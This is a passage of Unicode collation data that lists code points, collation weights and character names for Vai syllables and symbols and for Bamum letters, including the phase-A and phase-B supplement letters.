[.362C.0020.0004][.36F1.0020.0004] # VAI SYMBOL NII +A548 ; [.362D.0020.0002] # VAI SYLLABLE NYI +A549 ; [.362E.0020.0002] # VAI SYLLABLE A +A54A ; [.362F.0020.0002] # VAI SYLLABLE AN +A54B ; [.3630.0020.0002] # VAI SYLLABLE NGAN +A54C ; [.3631.0020.0002] # VAI SYLLABLE HA +A54D ; [.3632.0020.0002] # VAI SYLLABLE HAN +A54E ; [.3633.0020.0002] # VAI SYLLABLE WA +A54F ; [.3634.0020.0002] # VAI SYLLABLE WAN +A550 ; [.3635.0020.0002] # VAI SYLLABLE PA +A551 ; [.3636.0020.0002] # VAI SYLLABLE BHA +A552 ; [.3637.0020.0002] # VAI SYLLABLE BA +A617 ; [.3637.0020.0004][.36F0.0020.0004] # VAI SYMBOL BANG +A553 ; [.3638.0020.0002] # VAI SYLLABLE MBA +A554 ; [.3639.0020.0002] # VAI SYLLABLE KPA +A555 ; [.363A.0020.0002] # VAI SYLLABLE KPAN +A556 ; [.363B.0020.0002] # VAI SYLLABLE MGBA +A557 ; [.363C.0020.0002] # VAI SYLLABLE GBA +A558 ; [.363D.0020.0002] # VAI SYLLABLE FA +A610 ; [.363D.0020.0004] # VAI SYLLABLE NDOLE FA +A618 ; [.363D.0020.0004][.36F1.0020.0004] # VAI SYMBOL FAA +A559 ; [.363E.0020.0002] # VAI SYLLABLE VA +A55A ; [.363F.0020.0002] # VAI SYLLABLE TA +A619 ; [.363F.0020.0004][.36F1.0020.0004] # VAI SYMBOL TAA +A55B ; [.3640.0020.0002] # VAI SYLLABLE THA +A55C ; [.3641.0020.0002] # VAI SYLLABLE DHA +A55D ; [.3642.0020.0002] # VAI SYLLABLE DHHA +A55E ; [.3643.0020.0002] # VAI SYLLABLE LA +A55F ; [.3644.0020.0002] # VAI SYLLABLE RA +A560 ; [.3645.0020.0002] # VAI SYLLABLE DA +A61A ; [.3645.0020.0004][.36F0.0020.0004] # VAI SYMBOL DANG +A561 ; [.3646.0020.0002] # VAI SYLLABLE NDA +A562 ; [.3647.0020.0002] # VAI SYLLABLE SA +A563 ; [.3648.0020.0002] # VAI SYLLABLE SHA +A564 ; [.3649.0020.0002] # VAI SYLLABLE ZA +A565 ; [.364A.0020.0002] # VAI SYLLABLE ZHA +A566 ; [.364B.0020.0002] # VAI SYLLABLE CA +A567 ; [.364C.0020.0002] # VAI SYLLABLE JA +A568 ; [.364D.0020.0002] # VAI SYLLABLE NJA +A569 ; [.364E.0020.0002] # VAI SYLLABLE YA +A56A ; [.364F.0020.0002] # VAI SYLLABLE KA +A611 ; [.364F.0020.0004] # VAI SYLLABLE NDOLE KA +A56B ; [.3650.0020.0002] # VAI SYLLABLE KAN +A56C ; [.3651.0020.0002] # VAI SYLLABLE NGGA +A56D ; [.3652.0020.0002] # VAI SYLLABLE GA +A56E ; [.3653.0020.0002] # VAI SYLLABLE MA +A62A ; [.3653.0020.0004] # VAI SYLLABLE NDOLE MA +A56F ; [.3654.0020.0002] # VAI SYLLABLE NA +A570 ; [.3655.0020.0002] # VAI SYLLABLE NYA +A571 ; [.3656.0020.0002] # VAI SYLLABLE OO +A572 ; [.3657.0020.0002] # VAI SYLLABLE OON +A573 ; [.3658.0020.0002] # VAI SYLLABLE HOO +A574 ; [.3659.0020.0002] # VAI SYLLABLE WOO +A575 ; [.365A.0020.0002] # VAI SYLLABLE WOON +A576 ; [.365B.0020.0002] # VAI SYLLABLE POO +A577 ; [.365C.0020.0002] # VAI SYLLABLE BHOO +A578 ; [.365D.0020.0002] # VAI SYLLABLE BOO +A579 ; [.365E.0020.0002] # VAI SYLLABLE MBOO +A57A ; [.365F.0020.0002] # VAI SYLLABLE KPOO +A57B ; [.3660.0020.0002] # VAI SYLLABLE MGBOO +A57C ; [.3661.0020.0002] # VAI SYLLABLE GBOO +A57D ; [.3662.0020.0002] # VAI SYLLABLE FOO +A57E ; [.3663.0020.0002] # VAI SYLLABLE VOO +A57F ; [.3664.0020.0002] # VAI SYLLABLE TOO +A580 ; [.3665.0020.0002] # VAI SYLLABLE THOO +A581 ; [.3666.0020.0002] # VAI SYLLABLE DHOO +A582 ; [.3667.0020.0002] # VAI SYLLABLE DHHOO +A583 ; [.3668.0020.0002] # VAI SYLLABLE LOO +A584 ; [.3669.0020.0002] # VAI SYLLABLE ROO +A585 ; [.366A.0020.0002] # VAI SYLLABLE DOO +A61B ; [.366A.0020.0004][.36F0.0020.0004] # VAI SYMBOL DOONG +A586 ; [.366B.0020.0002] # VAI SYLLABLE NDOO +A587 ; [.366C.0020.0002] # VAI SYLLABLE SOO +A612 ; [.366C.0020.0004] # VAI SYLLABLE NDOLE SOO +A588 ; [.366D.0020.0002] # VAI SYLLABLE SHOO +A589 ; [.366E.0020.0002] # VAI SYLLABLE ZOO +A58A ; [.366F.0020.0002] # VAI SYLLABLE ZHOO +A58B ; [.3670.0020.0002] # VAI SYLLABLE COO +A58C ; [.3671.0020.0002] # VAI SYLLABLE JOO +A58D ; [.3672.0020.0002] # VAI SYLLABLE NJOO +A58E ; [.3673.0020.0002] # VAI SYLLABLE YOO +A58F ; [.3674.0020.0002] # VAI SYLLABLE KOO +A590 ; [.3675.0020.0002] # VAI SYLLABLE NGGOO +A591 ; [.3676.0020.0002] # VAI SYLLABLE GOO +A592 ; [.3677.0020.0002] # VAI SYLLABLE MOO +A593 ; [.3678.0020.0002] # VAI SYLLABLE NOO +A594 ; [.3679.0020.0002] # VAI SYLLABLE NYOO +A595 ; [.367A.0020.0002] # VAI SYLLABLE U +A596 ; [.367B.0020.0002] # VAI SYLLABLE UN +A597 ; [.367C.0020.0002] # VAI SYLLABLE HU +A598 ; [.367D.0020.0002] # VAI SYLLABLE HUN +A599 ; [.367E.0020.0002] # VAI SYLLABLE WU +A59A ; [.367F.0020.0002] # VAI SYLLABLE WUN +A59B ; [.3680.0020.0002] # VAI SYLLABLE PU +A59C ; [.3681.0020.0002] # VAI SYLLABLE BHU +A59D ; [.3682.0020.0002] # VAI SYLLABLE BU +A59E ; [.3683.0020.0002] # VAI SYLLABLE MBU +A59F ; [.3684.0020.0002] # VAI SYLLABLE KPU +A5A0 ; [.3685.0020.0002] # VAI SYLLABLE MGBU +A5A1 ; [.3686.0020.0002] # VAI SYLLABLE GBU +A5A2 ; [.3687.0020.0002] # VAI SYLLABLE FU +A5A3 ; [.3688.0020.0002] # VAI SYLLABLE VU +A5A4 ; [.3689.0020.0002] # VAI SYLLABLE TU +A5A5 ; [.368A.0020.0002] # VAI SYLLABLE THU +A5A6 ; [.368B.0020.0002] # VAI SYLLABLE DHU +A5A7 ; [.368C.0020.0002] # VAI SYLLABLE DHHU +A5A8 ; [.368D.0020.0002] # VAI SYLLABLE LU +A5A9 ; [.368E.0020.0002] # VAI SYLLABLE RU +A5AA ; [.368F.0020.0002] # VAI SYLLABLE DU +A5AB ; [.3690.0020.0002] # VAI SYLLABLE NDU +A5AC ; [.3691.0020.0002] # VAI SYLLABLE SU +A5AD ; [.3692.0020.0002] # VAI SYLLABLE SHU +A5AE ; [.3693.0020.0002] # VAI SYLLABLE ZU +A5AF ; [.3694.0020.0002] # VAI SYLLABLE ZHU +A5B0 ; [.3695.0020.0002] # VAI SYLLABLE CU +A5B1 ; [.3696.0020.0002] # VAI SYLLABLE JU +A5B2 ; [.3697.0020.0002] # VAI SYLLABLE NJU +A5B3 ; [.3698.0020.0002] # VAI SYLLABLE YU +A5B4 ; [.3699.0020.0002] # VAI SYLLABLE KU +A61C ; [.3699.0020.0004][.36F0.0020.0004] # VAI SYMBOL KUNG +A5B5 ; [.369A.0020.0002] # VAI SYLLABLE NGGU +A5B6 ; [.369B.0020.0002] # VAI SYLLABLE GU +A5B7 ; [.369C.0020.0002] # VAI SYLLABLE MU +A5B8 ; [.369D.0020.0002] # VAI SYLLABLE NU +A5B9 ; [.369E.0020.0002] # VAI SYLLABLE NYU +A5BA ; [.369F.0020.0002] # VAI SYLLABLE O +A5BB ; [.36A0.0020.0002] # VAI SYLLABLE ON +A5BC ; [.36A1.0020.0002] # VAI SYLLABLE NGON +A5BD ; [.36A2.0020.0002] # VAI SYLLABLE HO +A5BE ; [.36A3.0020.0002] # VAI SYLLABLE HON +A5BF ; [.36A4.0020.0002] # VAI SYLLABLE WO +A5C0 ; [.36A5.0020.0002] # VAI SYLLABLE WON +A5C1 ; [.36A6.0020.0002] # VAI SYLLABLE PO +A5C2 ; [.36A7.0020.0002] # VAI SYLLABLE BHO +A5C3 ; [.36A8.0020.0002] # VAI SYLLABLE BO +A5C4 ; [.36A9.0020.0002] # VAI SYLLABLE MBO +A5C5 ; [.36AA.0020.0002] # VAI SYLLABLE KPO +A5C6 ; [.36AB.0020.0002] # VAI SYLLABLE MGBO +A5C7 ; [.36AC.0020.0002] # VAI SYLLABLE GBO +A5C8 ; [.36AD.0020.0002] # VAI SYLLABLE GBON +A5C9 ; [.36AE.0020.0002] # VAI SYLLABLE FO +A5CA ; [.36AF.0020.0002] # VAI SYLLABLE VO +A5CB ; [.36B0.0020.0002] # VAI SYLLABLE TO +A61D ; [.36B0.0020.0004][.36F0.0020.0004] # VAI SYMBOL TONG +A5CC ; [.36B1.0020.0002] # VAI SYLLABLE THO +A5CD ; [.36B2.0020.0002] # VAI SYLLABLE DHO +A5CE ; [.36B3.0020.0002] # VAI SYLLABLE DHHO +A5CF ; [.36B4.0020.0002] # VAI SYLLABLE LO +A5D0 ; [.36B5.0020.0002] # VAI SYLLABLE RO +A5D1 ; [.36B6.0020.0002] # VAI SYLLABLE DO +A62B ; [.36B6.0020.0004] # VAI SYLLABLE NDOLE DO +A61E ; [.36B6.0020.0004][.36F1.0020.0004] # VAI SYMBOL DO-O +A5D2 ; [.36B7.0020.0002] # VAI SYLLABLE NDO +A5D3 ; [.36B8.0020.0002] # VAI SYLLABLE SO +A5D4 ; [.36B9.0020.0002] # VAI SYLLABLE SHO +A5D5 ; [.36BA.0020.0002] # VAI SYLLABLE ZO +A5D6 ; [.36BB.0020.0002] # VAI SYLLABLE ZHO +A5D7 ; [.36BC.0020.0002] # VAI SYLLABLE CO +A5D8 ; [.36BD.0020.0002] # VAI SYLLABLE JO +A61F ; [.36BD.0020.0004][.36F0.0020.0004] # VAI SYMBOL JONG +A5D9 ; [.36BE.0020.0002] # VAI SYLLABLE NJO +A5DA ; [.36BF.0020.0002] # VAI SYLLABLE YO +A5DB ; [.36C0.0020.0002] # VAI SYLLABLE KO +A5DC ; [.36C1.0020.0002] # VAI SYLLABLE NGGO +A5DD ; [.36C2.0020.0002] # VAI SYLLABLE GO +A5DE ; [.36C3.0020.0002] # VAI SYLLABLE MO +A5DF ; [.36C4.0020.0002] # VAI SYLLABLE NO +A5E0 ; [.36C5.0020.0002] # VAI SYLLABLE NYO +A5E1 ; [.36C6.0020.0002] # VAI SYLLABLE E +A5E2 ; [.36C7.0020.0002] # VAI SYLLABLE EN +A5E3 ; [.36C8.0020.0002] # VAI SYLLABLE NGEN +A5E4 ; [.36C9.0020.0002] # VAI SYLLABLE HE +A5E5 ; [.36CA.0020.0002] # VAI SYLLABLE HEN +A5E6 ; [.36CB.0020.0002] # VAI SYLLABLE WE +A5E7 ; [.36CC.0020.0002] # VAI SYLLABLE WEN +A5E8 ; [.36CD.0020.0002] # VAI SYLLABLE PE +A5E9 ; [.36CE.0020.0002] # VAI SYLLABLE BHE +A5EA ; [.36CF.0020.0002] # VAI SYLLABLE BE +A5EB ; [.36D0.0020.0002] # VAI SYLLABLE MBE +A5EC ; [.36D1.0020.0002] # VAI SYLLABLE KPE +A5ED ; [.36D2.0020.0002] # VAI SYLLABLE KPEN +A5EE ; [.36D3.0020.0002] # VAI SYLLABLE MGBE +A5EF ; [.36D4.0020.0002] # VAI SYLLABLE GBE +A5F0 ; [.36D5.0020.0002] # VAI SYLLABLE GBEN +A5F1 ; [.36D6.0020.0002] # VAI SYLLABLE FE +A5F2 ; [.36D7.0020.0002] # VAI SYLLABLE VE +A5F3 ; [.36D8.0020.0002] # VAI SYLLABLE TE +A5F4 ; [.36D9.0020.0002] # VAI SYLLABLE THE +A5F5 ; [.36DA.0020.0002] # VAI SYLLABLE DHE +A5F6 ; [.36DB.0020.0002] # VAI SYLLABLE DHHE +A5F7 ; [.36DC.0020.0002] # VAI SYLLABLE LE +A5F8 ; [.36DD.0020.0002] # VAI SYLLABLE RE +A5F9 ; [.36DE.0020.0002] # VAI SYLLABLE DE +A5FA ; [.36DF.0020.0002] # VAI SYLLABLE NDE +A5FB ; [.36E0.0020.0002] # VAI SYLLABLE SE +A5FC ; [.36E1.0020.0002] # VAI SYLLABLE SHE +A5FD ; [.36E2.0020.0002] # VAI SYLLABLE ZE +A5FE ; [.36E3.0020.0002] # VAI SYLLABLE ZHE +A5FF ; [.36E4.0020.0002] # VAI SYLLABLE CE +A600 ; [.36E5.0020.0002] # VAI SYLLABLE JE +A601 ; [.36E6.0020.0002] # VAI SYLLABLE NJE +A602 ; [.36E7.0020.0002] # VAI SYLLABLE YE +A603 ; [.36E8.0020.0002] # VAI SYLLABLE KE +A604 ; [.36E9.0020.0002] # VAI SYLLABLE NGGE +A605 ; [.36EA.0020.0002] # VAI SYLLABLE NGGEN +A606 ; [.36EB.0020.0002] # VAI SYLLABLE GE +A607 ; [.36EC.0020.0002] # VAI SYLLABLE GEN +A608 ; [.36ED.0020.0002] # VAI SYLLABLE ME +A609 ; [.36EE.0020.0002] # VAI SYLLABLE NE +A60A ; [.36EF.0020.0002] # VAI SYLLABLE NYE +A60B ; [.36F0.0020.0002] # VAI SYLLABLE NG +A60C ; [.36F1.0020.0002] # VAI SYLLABLE LENGTHENER +A6A0 ; [.36F2.0020.0002] # BAMUM LETTER A +A6A1 ; [.36F3.0020.0002] # BAMUM LETTER KA +A6A2 ; [.36F4.0020.0002] # BAMUM LETTER U +A6A3 ; [.36F5.0020.0002] # BAMUM LETTER KU +A6A4 ; [.36F6.0020.0002] # BAMUM LETTER EE +A6A5 ; [.36F7.0020.0002] # BAMUM LETTER REE +A6A6 ; [.36F8.0020.0002] # BAMUM LETTER TAE +A6A7 ; [.36F9.0020.0002] # BAMUM LETTER O +A6A8 ; [.36FA.0020.0002] # BAMUM LETTER NYI +A6A9 ; [.36FB.0020.0002] # BAMUM LETTER I +A6AA ; [.36FC.0020.0002] # BAMUM LETTER LA +A6AB ; [.36FD.0020.0002] # BAMUM LETTER PA +A6AC ; [.36FE.0020.0002] # BAMUM LETTER RII +A6AD ; [.36FF.0020.0002] # BAMUM LETTER RIEE +A6AE ; [.3700.0020.0002] # BAMUM LETTER LEEEE +A6AF ; [.3701.0020.0002] # BAMUM LETTER MEEEE +A6B0 ; [.3702.0020.0002] # BAMUM LETTER TAA +A6B1 ; [.3703.0020.0002] # BAMUM LETTER NDAA +A6B2 ; [.3704.0020.0002] # BAMUM LETTER NJAEM +A6B3 ; [.3705.0020.0002] # BAMUM LETTER M +A6B4 ; [.3706.0020.0002] # BAMUM LETTER SUU +A6B5 ; [.3707.0020.0002] # BAMUM LETTER MU +A6B6 ; [.3708.0020.0002] # BAMUM LETTER SHII +A6B7 ; [.3709.0020.0002] # BAMUM LETTER SI +A6B8 ; [.370A.0020.0002] # BAMUM LETTER SHEUX +A6B9 ; [.370B.0020.0002] # BAMUM LETTER SEUX +A6BA ; [.370C.0020.0002] # BAMUM LETTER KYEE +A6BB ; [.370D.0020.0002] # BAMUM LETTER KET +A6BC ; [.370E.0020.0002] # BAMUM LETTER NUAE +A6BD ; [.370F.0020.0002] # BAMUM LETTER NU +A6BE ; [.3710.0020.0002] # BAMUM LETTER NJUAE +A6BF ; [.3711.0020.0002] # BAMUM LETTER YOQ +A6C0 ; [.3712.0020.0002] # BAMUM LETTER SHU +A6C1 ; [.3713.0020.0002] # BAMUM LETTER YUQ +A6C2 ; [.3714.0020.0002] # BAMUM LETTER YA +A6C3 ; [.3715.0020.0002] # BAMUM LETTER NSHA +A6C4 ; [.3716.0020.0002] # BAMUM LETTER KEUX +A6C5 ; [.3717.0020.0002] # BAMUM LETTER PEUX +A6C6 ; [.3718.0020.0002] # BAMUM LETTER NJEE +A6C7 ; [.3719.0020.0002] # BAMUM LETTER NTEE +A6C8 ; [.371A.0020.0002] # BAMUM LETTER PUE +A6C9 ; [.371B.0020.0002] # BAMUM LETTER WUE +A6CA ; [.371C.0020.0002] # BAMUM LETTER PEE +A6CB ; [.371D.0020.0002] # BAMUM LETTER FEE +A6CC ; [.371E.0020.0002] # BAMUM LETTER RU +A6CD ; [.371F.0020.0002] # BAMUM LETTER LU +A6CE ; [.3720.0020.0002] # BAMUM LETTER MI +A6CF ; [.3721.0020.0002] # BAMUM LETTER NI +A6D0 ; [.3722.0020.0002] # BAMUM LETTER REUX +A6D1 ; [.3723.0020.0002] # BAMUM LETTER RAE +A6D2 ; [.3724.0020.0002] # BAMUM LETTER KEN +A6D3 ; [.3725.0020.0002] # BAMUM LETTER NGKWAEN +A6D4 ; [.3726.0020.0002] # BAMUM LETTER NGGA +A6D5 ; [.3727.0020.0002] # BAMUM LETTER NGA +A6D6 ; [.3728.0020.0002] # BAMUM LETTER SHO +A6D7 ; [.3729.0020.0002] # BAMUM LETTER PUAE +A6D8 ; [.372A.0020.0002] # BAMUM LETTER FU +A6D9 ; [.372B.0020.0002] # BAMUM LETTER FOM +A6DA ; [.372C.0020.0002] # BAMUM LETTER WA +A6DB ; [.372D.0020.0002] # BAMUM LETTER NA +A6DC ; [.372E.0020.0002] # BAMUM LETTER LI +A6DD ; [.372F.0020.0002] # BAMUM LETTER PI +A6DE ; [.3730.0020.0002] # BAMUM LETTER LOQ +A6DF ; [.3731.0020.0002] # BAMUM LETTER KO +A6E0 ; [.3732.0020.0002] # BAMUM LETTER MBEN +A6E1 ; [.3733.0020.0002] # BAMUM LETTER REN +A6E2 ; [.3734.0020.0002] # BAMUM LETTER MEN +A6E3 ; [.3735.0020.0002] # BAMUM LETTER MA +A6E4 ; [.3736.0020.0002] # BAMUM LETTER TI +A6E5 ; [.3737.0020.0002] # BAMUM LETTER KI +A6E6 ; [.3738.0020.0002] # BAMUM LETTER MO +A6E7 ; [.3739.0020.0002] # BAMUM LETTER MBAA +A6E8 ; [.373A.0020.0002] # BAMUM LETTER TET +A6E9 ; [.373B.0020.0002] # BAMUM LETTER KPA +A6EA ; [.373C.0020.0002] # BAMUM LETTER TEN +A6EB ; [.373D.0020.0002] # BAMUM LETTER NTUU +A6EC ; [.373E.0020.0002] # BAMUM LETTER SAMBA +A6ED ; [.373F.0020.0002] # BAMUM LETTER FAAMAE +A6EE ; [.3740.0020.0002] # BAMUM LETTER KOVUU +A6EF ; [.3741.0020.0002] # BAMUM LETTER KOGHOM +16800 ; [.3742.0020.0002] # BAMUM LETTER PHASE-A NGKUE MFON +16801 ; [.3743.0020.0002] # BAMUM LETTER PHASE-A GBIEE FON +16802 ; [.3744.0020.0002] # BAMUM LETTER PHASE-A PON MFON PIPAEMGBIEE +16803 ; [.3745.0020.0002] # BAMUM LETTER PHASE-A PON MFON PIPAEMBA +16804 ; [.3746.0020.0002] # BAMUM LETTER PHASE-A NAA MFON +16805 ; [.3747.0020.0002] # BAMUM LETTER PHASE-A SHUENSHUET +16806 ; [.3748.0020.0002] # BAMUM LETTER PHASE-A TITA MFON +16807 ; [.3749.0020.0002] # BAMUM LETTER PHASE-A NZA MFON +16808 ; [.374A.0020.0002] # BAMUM LETTER PHASE-A SHINDA PA NJI +16809 ; [.374B.0020.0002] # BAMUM LETTER PHASE-A PON PA NJI PIPAEMGBIEE +1680A ; [.374C.0020.0002] # BAMUM LETTER PHASE-A PON PA NJI PIPAEMBA +1680B ; [.374D.0020.0002] # BAMUM LETTER PHASE-A MAEMBGBIEE +1680C ; [.374E.0020.0002] # BAMUM LETTER PHASE-A TU MAEMBA +1680D ; [.374F.0020.0002] # BAMUM LETTER PHASE-A NGANGU +1680E ; [.3750.0020.0002] # BAMUM LETTER PHASE-A MAEMVEUX +1680F ; [.3751.0020.0002] # BAMUM LETTER PHASE-A MANSUAE +16810 ; [.3752.0020.0002] # BAMUM LETTER PHASE-A MVEUAENGAM +16811 ; [.3753.0020.0002] # BAMUM LETTER PHASE-A SEUNYAM +16812 ; [.3754.0020.0002] # BAMUM LETTER PHASE-A NTOQPEN +16813 ; [.3755.0020.0002] # BAMUM LETTER PHASE-A KEUKEUTNDA +16814 ; [.3756.0020.0002] # BAMUM LETTER PHASE-A NKINDI +16815 ; [.3757.0020.0002] # BAMUM LETTER PHASE-A SUU +16816 ; [.3758.0020.0002] # BAMUM LETTER PHASE-A NGKUENZEUM +16817 ; [.3759.0020.0002] # BAMUM LETTER PHASE-A LAPAQ +16818 ; [.375A.0020.0002] # BAMUM LETTER PHASE-A LET KUT +16819 ; [.375B.0020.0002] # BAMUM LETTER PHASE-A NTAP MFAA +1681A ; [.375C.0020.0002] # BAMUM LETTER PHASE-A MAEKEUP +1681B ; [.375D.0020.0002] # BAMUM LETTER PHASE-A PASHAE +1681C ; [.375E.0020.0002] # BAMUM LETTER PHASE-A GHEUAERAE +1681D ; [.375F.0020.0002] # BAMUM LETTER PHASE-A PAMSHAE +1681E ; [.3760.0020.0002] # BAMUM LETTER PHASE-A MON NGGEUAET +1681F ; [.3761.0020.0002] # BAMUM LETTER PHASE-A NZUN MEUT +16820 ; [.3762.0020.0002] # BAMUM LETTER PHASE-A U YUQ NAE +16821 ; [.3763.0020.0002] # BAMUM LETTER PHASE-A GHEUAEGHEUAE +16822 ; [.3764.0020.0002] # BAMUM LETTER PHASE-A NTAP NTAA +16823 ; [.3765.0020.0002] # BAMUM LETTER PHASE-A SISA +16824 ; [.3766.0020.0002] # BAMUM LETTER PHASE-A MGBASA +16825 ; [.3767.0020.0002] # BAMUM LETTER PHASE-A MEUNJOMNDEUQ +16826 ; [.3768.0020.0002] # BAMUM LETTER PHASE-A MOOMPUQ +16827 ; [.3769.0020.0002] # BAMUM LETTER PHASE-A KAFA +16828 ; [.376A.0020.0002] # BAMUM LETTER PHASE-A PA LEERAEWA +16829 ; [.376B.0020.0002] # BAMUM LETTER PHASE-A NDA LEERAEWA +1682A ; [.376C.0020.0002] # BAMUM LETTER PHASE-A PET +1682B ; [.376D.0020.0002] # BAMUM LETTER PHASE-A MAEMKPEN +1682C ; [.376E.0020.0002] # BAMUM LETTER PHASE-A NIKA +1682D ; [.376F.0020.0002] # BAMUM LETTER PHASE-A PUP +1682E ; [.3770.0020.0002] # BAMUM LETTER PHASE-A TUAEP +1682F ; [.3771.0020.0002] # BAMUM LETTER PHASE-A LUAEP +16830 ; [.3772.0020.0002] # BAMUM LETTER PHASE-A SONJAM +16831 ; [.3773.0020.0002] # BAMUM LETTER PHASE-A TEUTEUWEN +16832 ; [.3774.0020.0002] # BAMUM LETTER PHASE-A MAENYI +16833 ; [.3775.0020.0002] # BAMUM LETTER PHASE-A KET +16834 ; [.3776.0020.0002] # BAMUM LETTER PHASE-A NDAANGGEUAET +16835 ; [.3777.0020.0002] # BAMUM LETTER PHASE-A KUOQ +16836 ; [.3778.0020.0002] # BAMUM LETTER PHASE-A MOOMEUT +16837 ; [.3779.0020.0002] # BAMUM LETTER PHASE-A SHUM +16838 ; [.377A.0020.0002] # BAMUM LETTER PHASE-A LOMMAE +16839 ; [.377B.0020.0002] # BAMUM LETTER PHASE-A FIRI +1683A ; [.377C.0020.0002] # BAMUM LETTER PHASE-A ROM +1683B ; [.377D.0020.0002] # BAMUM LETTER PHASE-A KPOQ +1683C ; [.377E.0020.0002] # BAMUM LETTER PHASE-A SOQ +1683D ; [.377F.0020.0002] # BAMUM LETTER PHASE-A MAP PIEET +1683E ; [.3780.0020.0002] # BAMUM LETTER PHASE-A SHIRAE +1683F ; [.3781.0020.0002] # BAMUM LETTER PHASE-A NTAP +16840 ; [.3782.0020.0002] # BAMUM LETTER PHASE-A SHOQ NSHUT YUM +16841 ; [.3783.0020.0002] # BAMUM LETTER PHASE-A NYIT MONGKEUAEQ +16842 ; [.3784.0020.0002] # BAMUM LETTER PHASE-A PAARAE +16843 ; [.3785.0020.0002] # BAMUM LETTER PHASE-A NKAARAE +16844 ; [.3786.0020.0002] # BAMUM LETTER PHASE-A UNKNOWN +16845 ; [.3787.0020.0002] # BAMUM LETTER PHASE-A NGGEN +16846 ; [.3788.0020.0002] # BAMUM LETTER PHASE-A MAESI +16847 ; [.3789.0020.0002] # BAMUM LETTER PHASE-A NJAM +16848 ; [.378A.0020.0002] # BAMUM LETTER PHASE-A MBANYI +16849 ; [.378B.0020.0002] # BAMUM LETTER PHASE-A NYET +1684A ; [.378C.0020.0002] # BAMUM LETTER PHASE-A TEUAEN +1684B ; [.378D.0020.0002] # BAMUM LETTER PHASE-A SOT +1684C ; [.378E.0020.0002] # BAMUM LETTER PHASE-A PAAM +1684D ; [.378F.0020.0002] # BAMUM LETTER PHASE-A NSHIEE +1684E ; [.3790.0020.0002] # BAMUM LETTER PHASE-A MAEM +1684F ; [.3791.0020.0002] # BAMUM LETTER PHASE-A NYI +16850 ; [.3792.0020.0002] # BAMUM LETTER PHASE-A KAQ +16851 ; [.3793.0020.0002] # BAMUM LETTER PHASE-A NSHA +16852 ; [.3794.0020.0002] # BAMUM LETTER PHASE-A VEE +16853 ; [.3795.0020.0002] # BAMUM LETTER PHASE-A LU +16854 ; [.3796.0020.0002] # BAMUM LETTER PHASE-A NEN +16855 ; [.3797.0020.0002] # BAMUM LETTER PHASE-A NAQ +16856 ; [.3798.0020.0002] # BAMUM LETTER PHASE-A MBAQ +16857 ; [.3799.0020.0002] # BAMUM LETTER PHASE-B NSHUET +16858 ; [.379A.0020.0002] # BAMUM LETTER PHASE-B TU MAEMGBIEE +16859 ; [.379B.0020.0002] # BAMUM LETTER PHASE-B SIEE +1685A ; [.379C.0020.0002] # BAMUM LETTER PHASE-B SET TU +1685B ; [.379D.0020.0002] # BAMUM LETTER PHASE-B LOM NTEUM +1685C ; [.379E.0020.0002] # BAMUM LETTER PHASE-B MBA MAELEE +1685D ; [.379F.0020.0002] # BAMUM LETTER PHASE-B KIEEM +1685E ; [.37A0.0020.0002] # BAMUM LETTER PHASE-B YEURAE +1685F ; [.37A1.0020.0002] # BAMUM LETTER PHASE-B MBAARAE +16860 ; [.37A2.0020.0002] # BAMUM LETTER PHASE-B KAM +16861 ; [.37A3.0020.0002] # BAMUM LETTER PHASE-B PEESHI +16862 ; [.37A4.0020.0002] # BAMUM LETTER PHASE-B YAFU LEERAEWA +16863 ; [.37A5.0020.0002] # BAMUM LETTER PHASE-B LAM NSHUT NYAM +16864 ; [.37A6.0020.0002] # BAMUM LETTER PHASE-B NTIEE SHEUOQ +16865 ; [.37A7.0020.0002] # BAMUM LETTER PHASE-B NDU NJAA +16866 ; [.37A8.0020.0002] # BAMUM LETTER PHASE-B GHEUGHEUAEM +16867 ; [.37A9.0020.0002] # BAMUM LETTER PHASE-B PIT +16868 ; [.37AA.0020.0002] # BAMUM LETTER PHASE-B TU NSIEE +16869 ; [.37AB.0020.0002] # BAMUM LETTER PHASE-B SHET NJAQ +1686A ; [.37AC.0020.0002] # BAMUM LETTER PHASE-B SHEUAEQTU +1686B ; [.37AD.0020.0002] # BAMUM LETTER PHASE-B MFON TEUAEQ +1686C ; [.37AE.0020.0002] # BAMUM LETTER PHASE-B MBIT MBAAKET +1686D ; [.37AF.0020.0002] # BAMUM LETTER PHASE-B NYI NTEUM +1686E ; [.37B0.0020.0002] # BAMUM LETTER PHASE-B KEUPUQ +1686F ; [.37B1.0020.0002] # BAMUM LETTER PHASE-B GHEUGHEN +16870 ; [.37B2.0020.0002] # BAMUM LETTER PHASE-B KEUYEUX +16871 ; [.37B3.0020.0002] # BAMUM LETTER PHASE-B LAANAE +16872 ; [.37B4.0020.0002] # BAMUM LETTER PHASE-B PARUM +16873 ; [.37B5.0020.0002] # BAMUM LETTER PHASE-B VEUM +16874 ; [.37B6.0020.0002] # BAMUM LETTER PHASE-B NGKINDI MVOP +16875 ; [.37B7.0020.0002] # BAMUM LETTER PHASE-B NGGEU MBU +16876 ; [.37B8.0020.0002] # BAMUM LETTER PHASE-B WUAET +16877 ; [.37B9.0020.0002] # BAMUM LETTER PHASE-B SAKEUAE +16878 ; [.37BA.0020.0002] # BAMUM LETTER PHASE-B TAAM +16879 ; [.37BB.0020.0002] # BAMUM LETTER PHASE-B MEUQ +1687A ; [.37BC.0020.0002] # BAMUM LETTER PHASE-B NGGUOQ +1687B ; [.37BD.0020.0002] # BAMUM LETTER PHASE-B NGGUOQ LARGE +1687C ; [.37BE.0020.0002] # BAMUM LETTER PHASE-B MFIYAQ +1687D ; [.37BF.0020.0002] # BAMUM LETTER PHASE-B SUE +1687E ; [.37C0.0020.0002] # BAMUM LETTER PHASE-B MBEURI +1687F ; [.37C1.0020.0002] # BAMUM LETTER PHASE-B MONTIEEN +16880 ; [.37C2.0020.0002] # BAMUM LETTER PHASE-B NYAEMAE +16881 ; [.37C3.0020.0002] # BAMUM LETTER PHASE-B PUNGAAM +16882 ; [.37C4.0020.0002] # BAMUM LETTER PHASE-B MEUT NGGEET +16883 ; [.37C5.0020.0002] # BAMUM LETTER PHASE-B FEUX +16884 ; [.37C6.0020.0002] # BAMUM LETTER PHASE-B MBUOQ +16885 ; [.37C7.0020.0002] # BAMUM LETTER PHASE-B FEE +16886 ; [.37C8.0020.0002] # BAMUM LETTER PHASE-B KEUAEM +16887 ; [.37C9.0020.0002] # BAMUM LETTER PHASE-B MA NJEUAENA +16888 ; [.37CA.0020.0002] # BAMUM LETTER PHASE-B MA NJUQA +16889 ; [.37CB.0020.0002] # BAMUM LETTER PHASE-B LET +1688A ; [.37CC.0020.0002] # BAMUM LETTER PHASE-B NGGAAM +1688B ; 